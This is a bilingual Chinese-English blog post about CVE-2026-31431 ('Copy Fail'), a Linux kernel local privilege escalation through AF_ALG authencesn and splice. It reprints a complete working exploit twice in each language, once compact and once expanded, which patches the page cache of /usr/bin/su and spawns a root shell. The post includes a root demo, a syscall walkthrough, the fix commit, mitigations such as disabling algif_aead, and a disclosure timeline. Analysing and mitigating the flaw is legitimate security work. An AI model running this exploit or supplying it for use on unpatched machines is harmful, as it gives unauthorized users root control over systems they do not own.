太炸裂了!!!

4 月 30 日下班后刷短视频,发现了这个超级劲爆的安全漏洞:CVE-2026-31431,又名 Copy Fail。
它只需 10 行 Python 代码,就能完成 Linux 本地权限提升,直接获得 root 权限。而且这个漏洞从 2017 年就存在,几乎影响所有主流 Linux 发行版。

This is absolutely insane!!!

While scrolling through short videos after work on April 30th, I discovered this absolutely explosive security vulnerability: CVE-2026-31431, also known as Copy Fail.
It only takes 10 lines of Python to achieve Linux local privilege escalation and directly obtain root privileges. What’s more, this vulnerability has existed since 2017 and affects almost all mainstream Linux distributions.

效果演示

在非 root 用户下运行 copy_fail_exp.py,即可成功获得 root 权限。
就是这么直接。

1
2
3
4
5
6
wgxls@server:~$ whoami
wgxls

wgxls@server:~$ python3 copy_fail_exp.py
# whoami
root

脚本内容

脚本的 GitHub 链接:https://github.com/theori-io/copy-fail-CVE-2026-31431

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

这个脚本故意写的非常“简洁”,让我借助 AI 把它还原成更易读的版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
import os
import socket
import zlib


def hex_to_bytes(value):
return bytes.fromhex(value)


def write_pagecache_chunk(target_fd, offset, chunk):
alg_socket = socket.socket(38, socket.SOCK_SEQPACKET, 0)
alg_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

ALG_SET_KEY = 279
alg_socket.setsockopt(ALG_SET_KEY, 1, hex_to_bytes("0800010000000010" + "0" * 64))
alg_socket.setsockopt(ALG_SET_KEY, 5, None, 4)

conn, _ = alg_socket.accept()

auth_tag = hex_to_bytes("00")
aad = b"A" * 4 + chunk
cmsg = [
(ALG_SET_KEY, 3, auth_tag * 4),
(ALG_SET_KEY, 2, b"\x10" + auth_tag * 19),
(ALG_SET_KEY, 4, b"\x08" + auth_tag * 3),
]

conn.sendmsg([aad], cmsg, 32768)

read_fd, write_fd = os.pipe()
splice = os.splice
splice(target_fd, write_fd, offset, offset_src=0)
splice(read_fd, conn.fileno(), offset)

try:
conn.recv(8 + len(chunk))
except Exception:
pass


def main():
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
payload = zlib.decompress(hex_to_bytes(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))

offset = 0
while offset < len(payload):
write_pagecache_chunk(target_fd, offset, payload[offset:offset + 4])
offset += 4

os.system("su")


if __name__ == "__main__":
main()

脚本解析

我目前还不能完全把握这个漏洞的所有细节,但从网上的资料看,2017 年的这个 commit 72548b093ee3 引入了一个 in-place 优化。这个优化使得当内核收到一个包含页缓存页的 scatterlist 时,会直接把该页缓存页作为输出 scatterlist 的一部分进行写入,结果就是页缓存被污染。

在理解这个脚本之前,我们先把几个关键的 Linux 系统调用理清楚。

  1. socket(AF_ALG, SOCK_SEQPACKET, 0):创建 AF_ALG 加密套接字。AF_ALG 是 Linux 内核提供的特殊地址族,用于让应用程序访问内核加密算法。SOCK_SEQPACKET 表示面向连接的消息套接字,0 表示默认协议。
  2. bind(("aead", "authencesn(hmac(sha256),cbc(aes))")):绑定到 authencesn AEAD 模板。“aead” 表示使用 AEAD 模式,“authencesn(hmac(sha256),cbc(aes))” 指定了 HMAC-SHA256 认证和 CBC-AES 加密,并启用了扩展序列号(ESN)。
  3. setsockopt():配置加密密钥和相关参数。
  4. accept():接受连接,获取一个可用于收发数据的套接字。
  5. sendmsg():发送消息和控制消息,触发加密运算。
  6. os.pipe():创建管道,返回读/写两个文件描述符。后续通过写端写入,通过读端读取。
  7. os.splice():在文件描述符间进行零拷贝传输。零拷贝意味着数据不经过用户空间缓冲区,而是在内核内部直接转发。这里的 offset_src=0 表示从源文件开头开始读取。
  8. recv():接收数据,同时触发解密/处理操作。

了解了这些调用后,脚本的核心逻辑可以这样理解:

  1. 脚本先创建 AF_ALG 套接字,绑定到 authencesn AEAD 模板,并设置密钥。
  2. 接着 accept 连接,准备发送加密请求。
  3. write_pagecache_chunk() 是关键部分,它构造一个加密请求,AAD 中包含攻击者可控的 chunk。调用 sendmsg() 后,内核在 authencesn 解密过程中误触发写操作,把 chunk 写入页缓存。
  4. 通过 os.pipe()os.splice(),脚本把目标文件 /usr/bin/su 的页缓存页引入 AF_ALG 输入,使 authencesn 的写入操作可以直接改写该页缓存。
  5. 最后调用 os.system("su"),内核从页缓存加载 /usr/bin/su,因为缓存已经被污染,所以执行的是被篡改后的内容,最终获得 root shell。

关键 FD 与数据流关系

并未真正修改磁盘文件

target_fd
指向 /usr/bin/su

splice(target_fd → write_fd)
从 su 文件读取

write_fd
pipe 写端

pipe 内核缓冲区

read_fd
pipe 读端

splice(read_fd → conn)
发送给 AF_ALG socket

conn
AF_ALG accept 后的 socket fd

内核 crypto / AF_ALG

漏洞触发

page cache 中
/usr/bin/su 对应页被修改

磁盘上的 /usr/bin/su
理论上仍是原文件

main

os.open('/usr/bin/su', O_RDONLY)
得到 target_fd

解压 payload

每次取 4 字节 chunk

write_pagecache_chunk(target_fd, offset, chunk)

os.system('su')

执行的是已被 page cache 污染的 su

Page CacheKernelAF_ALG connpipe(read_fd/write_fd)target_fd/usr/bin/suScriptPage CacheKernelAF_ALG connpipe(read_fd/write_fd)target_fd/usr/bin/suScript创建 pipe()从 /usr/bin/su 对应页读取数据数据进入 pipe bufferpipe buffer 数据送入 AF_ALGloop[每 4 字节]执行时优先使用 page cacheopen("/usr/bin/su", O_RDONLY)sendmsg(AAD + chunk)splice(target_fd -> write_fd)splice(read_fd -> conn)触发漏洞逻辑错误地把 chunk 写回/usr/bin/su 的 page cachesystem("su")返回被污染后的 su 内容获得 root shell

修复与缓解措施

已提交的修复补丁 a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 通过撤销 algif_aead.c 的 in-place 优化回退到 out-of-place 操作。这意味着:

  • req->src 指向 TX SGL(可能包含 splice 带来的页缓存页)
  • req->dst 指向 RX SGL(用户 recvmsg 缓冲区)
  • 不再将页缓存页链接到可写目标 scatterlist

这彻底切断了 authencesn scratch write 与页缓存写入之间的桥梁。

临时缓解方式:

  • 更新内核补丁并使用发行版提供的安全更新。
  • 通过 seccomp 禁止 AF_ALG 套接字创建。
  • 禁用 algif_aead 模块:
1
2
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null

实测,禁用了 algif_aead 后,攻击脚本无法成功执行。

1
2
3
4
5
6
7
8
9
wgxls@server:~$ python3 copy_fail_exp.py 
Traceback (most recent call last):
File "/home/wgxls/copy_fail_exp.py", line 9, in <module>
while i<len(e):c(f,i,e[i:i+4]);i+=4
^^^^^^^^^^^^^^^
File "/home/wgxls/copy_fail_exp.py", line 5, in c
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory

协调披露时间线

日期 事件
2026-03-23 向 Linux 内核安全团队报告漏洞
2026-03-24 收到初步确认
2026-03-25 补丁提议与审查
2026-04-01 补丁合并到主线内核
2026-04-22 分配 CVE-2026-31431
2026-04-29 公开披露Blog
2026-04-30 互联网广泛传播

Demo

Running copy_fail_exp.py as a non-root user successfully grants root privileges.
It’s that direct.

1
2
3
4
5
6
wgxls@server:~$ whoami
wgxls

wgxls@server:~$ python3 copy_fail_exp.py
# whoami
root

Script Contents

The script’s GitHub link: https://github.com/theori-io/copy-fail-CVE-2026-31431

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

This script is deliberately written in a very “compact” style — let me use AI to restore it to a more readable version:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
import os
import socket
import zlib


def hex_to_bytes(value):
return bytes.fromhex(value)


def write_pagecache_chunk(target_fd, offset, chunk):
alg_socket = socket.socket(38, socket.SOCK_SEQPACKET, 0)
alg_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

ALG_SET_KEY = 279
alg_socket.setsockopt(ALG_SET_KEY, 1, hex_to_bytes("0800010000000010" + "0" * 64))
alg_socket.setsockopt(ALG_SET_KEY, 5, None, 4)

conn, _ = alg_socket.accept()

auth_tag = hex_to_bytes("00")
aad = b"A" * 4 + chunk
cmsg = [
(ALG_SET_KEY, 3, auth_tag * 4),
(ALG_SET_KEY, 2, b"\x10" + auth_tag * 19),
(ALG_SET_KEY, 4, b"\x08" + auth_tag * 3),
]

conn.sendmsg([aad], cmsg, 32768)

read_fd, write_fd = os.pipe()
splice = os.splice
splice(target_fd, write_fd, offset, offset_src=0)
splice(read_fd, conn.fileno(), offset)

try:
conn.recv(8 + len(chunk))
except Exception:
pass


def main():
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
payload = zlib.decompress(hex_to_bytes(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))

offset = 0
while offset < len(payload):
write_pagecache_chunk(target_fd, offset, payload[offset:offset + 4])
offset += 4

os.system("su")


if __name__ == "__main__":
main()

Script Analysis

I can’t fully grasp all the details of this vulnerability yet, but from online sources, this commit 72548b093ee3 from 2017 introduced an in-place optimization. This optimization made the kernel, when receiving a scatterlist containing page cache pages, directly write to that page cache page as part of the output scatterlist — the result being that the page cache gets polluted.

Before understanding this script, let’s clarify a few key Linux system calls first.

  1. socket(AF_ALG, SOCK_SEQPACKET, 0): Creates an AF_ALG crypto socket. AF_ALG is a special address family provided by the Linux kernel that lets applications access kernel crypto algorithms. SOCK_SEQPACKET means a connection-oriented message socket, and 0 means the default protocol.
  2. bind(("aead", "authencesn(hmac(sha256),cbc(aes))")): Binds to the authencesn AEAD template. “aead” means using AEAD mode, and “authencesn(hmac(sha256),cbc(aes))” specifies HMAC-SHA256 authentication and CBC-AES encryption with extended sequence numbers (ESN) enabled.
  3. setsockopt(): Configures the crypto key and related parameters.
  4. accept(): Accepts the connection, obtaining a socket that can be used to send and receive data.
  5. sendmsg(): Sends messages and control messages, triggering the crypto operation.
  6. os.pipe(): Creates a pipe, returning read/write file descriptors. Data is written through the write end and read from the read end.
  7. os.splice(): Performs zero-copy transfer between file descriptors. Zero-copy means data doesn’t pass through user-space buffers, but is forwarded directly inside the kernel. Here offset_src=0 means reading from the beginning of the source file.
  8. recv(): Receives data while triggering the decryption/processing operation.

With these calls understood, the core logic of the script can be understood like this:

  1. The script first creates an AF_ALG socket, binds to the authencesn AEAD template, and sets the key.
  2. Then it accepts the connection, ready to send the crypto request.
  3. write_pagecache_chunk() is the key part — it constructs a crypto request whose AAD contains an attacker-controlled chunk. After calling sendmsg(), the kernel mistakenly triggers a write operation during the authencesn decryption process, writing the chunk into the page cache.
  4. Through os.pipe() and os.splice(), the script brings the page cache page of the target file /usr/bin/su into the AF_ALG input, allowing authencesn’s write operation to directly modify that page cache page.
  5. Finally it calls os.system("su"). The kernel loads /usr/bin/su from the page cache; since the cache has been polluted, what gets executed is the tampered content, ultimately yielding a root shell.

Key FDs and data flow

does not actually modify the disk file

target_fd
points to /usr/bin/su

splice(target_fd → write_fd)
read from su file

write_fd
pipe write end

pipe kernel buffer

read_fd
pipe read end

splice(read_fd → conn)
send to AF_ALG socket

conn
AF_ALG accepted socket fd

kernel crypto / AF_ALG

vulnerability triggered

page in page cache
for /usr/bin/su modified

/usr/bin/su on disk
theoretically still the original

main

os.open('/usr/bin/su', O_RDONLY)
get target_fd

decompress payload

take a 4-byte chunk each time

write_pagecache_chunk(target_fd, offset, chunk)

os.system('su')

executes the page-cache-polluted su

Page CacheKernelAF_ALG connpipe(read_fd/write_fd)target_fd/usr/bin/suScriptPage CacheKernelAF_ALG connpipe(read_fd/write_fd)target_fd/usr/bin/suScriptcreate pipe()read data from the corresponding page of /usr/bin/sudata enters the pipe bufferpipe buffer data sent to AF_ALGloop[every 4 bytes]page cache is preferred at executionopen("/usr/bin/su", O_RDONLY)sendmsg(AAD + chunk)splice(target_fd -> write_fd)splice(read_fd -> conn)trigger the vulnerability logicwrongly writes chunk backto the page cache of /usr/bin/susystem("su")returns the polluted su contentobtain root shell

Fix and Mitigation

The submitted fix patch a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 reverts the in-place optimization in algif_aead.c back to out-of-place operation. This means:

  • req->src points to the TX SGL (which may contain page cache pages brought in by splice)
  • req->dst points to the RX SGL (the user’s recvmsg buffer)
  • Page cache pages are no longer linked into a writable destination scatterlist

This completely severs the bridge between the authencesn scratch write and page cache writes.

Temporary mitigations:

  • Update the kernel patch and use the security updates provided by your distribution.
  • Block AF_ALG socket creation via seccomp.
  • Disable the algif_aead module:
1
2
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null

In my tests, after disabling algif_aead, the exploit script fails to execute successfully.

1
2
3
4
5
6
7
8
9
wgxls@server:~$ python3 copy_fail_exp.py 
Traceback (most recent call last):
File "/home/wgxls/copy_fail_exp.py", line 9, in <module>
while i<len(e):c(f,i,e[i:i+4]);i+=4
^^^^^^^^^^^^^^^
File "/home/wgxls/copy_fail_exp.py", line 5, in c
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory

Coordinated Disclosure Timeline

Date Event
2026-03-23 Vulnerability reported to the Linux kernel security team
2026-03-24 Initial confirmation received
2026-03-25 Patch proposed and reviewed
2026-04-01 Patch merged into mainline kernel
2026-04-22 CVE-2026-31431 assigned
2026-04-29 Public disclosure Blog
2026-04-30 Widely spread across the internet